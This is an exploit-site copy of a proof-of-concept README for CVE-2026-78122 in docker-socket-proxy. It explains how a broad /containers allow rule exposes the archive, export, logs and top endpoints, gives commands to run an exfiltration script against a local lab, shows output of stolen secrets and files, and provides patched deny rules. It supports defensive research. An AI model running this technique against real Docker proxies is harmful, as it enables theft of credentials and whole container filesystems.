Sploitus

Exploit for CVE-2026-78122

githubexploit Β· 2026-08-23

Exploit Code

README142 lines
## https://sploitus.com/exploit?id=2DDF171A-EC6F-5014-AC4E-DBE83BFEDB8A
# CVE-2026-78122 β€” Proof of Concept

**Tecnativa `docker-socket-proxy` ≀ 0.5.0 β€” Insufficient Access-Control Granularity (CWE-1220)**
CVSS 4.0: **8.3 (High)** β€” `CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N`

> Attack Vector is **Adjacent** (`AV:A`): the attacker needs local/adjacent
> network reach to the proxy β€” which is exactly why keeping it off any routable
> interface is part of the mitigation.

`docker-socket-proxy` is a HAProxy front-end for the Docker socket whose whole
purpose is to hand out *scoped, least-privilege* access to the Docker API. The
canonical "safe, read-only" recipe operators use is:

```
CONTAINERS=1     # allow listing/inspecting containers
POST=0           # deny everything that mutates state
# every other flag left at its default (0)
```

Operators reasonably believe this yields **read-only container metadata**. It
does not.

## Root cause

In [`haproxy.cfg`](https://github.com/Tecnativa/docker-socket-proxy/blob/v0.5.0/haproxy.cfg#L60)
the entire `/containers` namespace is gated by a single coarse prefix rule:

```haproxy
http-request allow if { path,url_dec -m reg -i ^(/v[\d\.]+)?/containers } { env(CONTAINERS) -m bool }
```

That regex matches **every** GET sub-path under `/containers`, including the
sensitive read endpoints that were never meant to be part of "list containers".
Because they are all `GET`, the `POST=0` guard does nothing to stop them:

| Endpoint (GET)                     | What it leaks                                   |
|------------------------------------|-------------------------------------------------|
| `/containers/{id}/archive?path=…`  | **Arbitrary file read** from any container      |
| `/containers/{id}/export`          | **Entire container filesystem** as a tar        |
| `/containers/{id}/logs`            | Container stdout/stderr                          |
| `/containers/{id}/top`             | Process list with full argv (may contain creds) |
| `/containers/{id}/json`            | Full config incl. **environment variables**     |

Net effect: with the "hardened" `CONTAINERS=1, POST=0` posture, anyone who can
reach the proxy can dump secrets and exfiltrate the complete filesystem of
**every** container on the host.

## Layout

```
lab/        vulnerable docker-socket-proxy v0.5.0 + a victim container with planted secrets
exploit/    exploit.sh β€” end-to-end data-exfiltration PoC
mitigation/ patched haproxy.cfg + compose that denies the sensitive sub-paths
verify.sh   one command: stand up both, exploit, print a before/after table
teardown.sh stop everything
loot/        exploit output lands here
```

## Run it

Requires Docker + Docker Compose and a POSIX shell (Git Bash on Windows works).

```bash
./verify.sh
```

Or step by step:

```bash
docker compose -f lab/docker-compose.yml up -d      # vulnerable proxy on 127.0.0.1:2375
bash exploit/exploit.sh http://127.0.0.1:2375        # loot lands in ./loot
```

> The proxy is bound to `127.0.0.1` only. Never expose a Docker socket proxy on
> a routable interface.

### Observed result (v0.5.0)

```
[+] POST /containers/create -> 403 Forbidden   (operator believes they are safe)
    Leaked environment variables:
      STRIPE_API_KEY=sk_live_FAKE_0000000000000000
      DB_PASSWORD=hunter2-from-container-env
[+] Pulled /etc/passwd via /archive
[+] Stole /run/secrets/aws.env via /archive
[+] Exported entire filesystem (8,095,232 bytes) via /export
[+] Retrieved process table via /top and logs via /logs
```

Every item above was obtained with **`POST=0`** still in force.

## Mitigation

Real fix: upgrade to the patched release (tracked in
[issue #182](https://github.com/Tecnativa/docker-socket-proxy/issues/182) /
[PR #183](https://github.com/Tecnativa/docker-socket-proxy/pull/183)) and stop
relying on `CONTAINERS=1` alone being "read-only".

This repo also ships a drop-in hardened config
([`mitigation/haproxy.patched.cfg`](mitigation/haproxy.patched.cfg)) that adds
explicit `deny` rules for the dangerous sub-paths *before* the coarse
`/containers` allow, each re-enableable via a dedicated flag
(`ALLOW_ARCHIVE`, `ALLOW_EXPORT`, `ALLOW_LOGS`, `ALLOW_TOP`):

```haproxy
http-request deny if { ... /containers/[..]/archive } ! { env(ALLOW_ARCHIVE) -m bool }
http-request deny if { ... /containers/[..]/export }  ! { env(ALLOW_EXPORT)  -m bool }
http-request deny if { ... /containers/[..]/logs }    ! { env(ALLOW_LOGS)    -m bool }
http-request deny if { ... /containers/[..]/top }     ! { env(ALLOW_TOP)     -m bool }
```

Verified before/after (`verify.sh` output) β€” same `CONTAINERS=1, POST=0` posture:

| GET endpoint                        | Vulnerable (:2375) | Mitigated (:2376) |
|-------------------------------------|:------------------:|:-----------------:|
| `/containers/json` (list)           | 200                | 200               |
| `/containers/{id}/json` (inspect)   | 200                | 200               |
| `/containers/{id}/archive`          | **200**            | **403**           |
| `/containers/{id}/export`           | **200**            | **403**           |
| `/containers/{id}/logs`             | **200**            | **403**           |
| `/containers/{id}/top`              | **200**            | **403**           |

Legitimate list/inspect still work; the exfiltration primitives are blocked.

Operationally, also: keep the proxy off any routable network, mount the docker
socket read-only, and apply least privilege (only enable the exact flags a
consumer needs).

## References

- CVE-2026-78122 (NVD) β€” https://nvd.nist.gov/vuln/detail/CVE-2026-78122
- CVE-2026-78122 (cvefeed) β€” https://cvefeed.io/vuln/detail/CVE-2026-78122
- VulnCheck advisory β€” https://www.vulncheck.com/advisories/docker-socket-proxy-through-insufficient-access-control-granularity-exposes-container-filesystems
- Original writeup (nedlir) β€” https://gist.github.com/nedlir/e4f52f88a757f02c67db1fd5dd70d732
- Upstream repo β€” https://github.com/Tecnativa/docker-socket-proxy
- Vulnerable config β€” https://github.com/Tecnativa/docker-socket-proxy/blob/v0.5.0/haproxy.cfg#L49-L61
- Issue #182 / PR #183

---
*For authorized security testing and education only. The lab runs entirely on
your own host against containers you created.*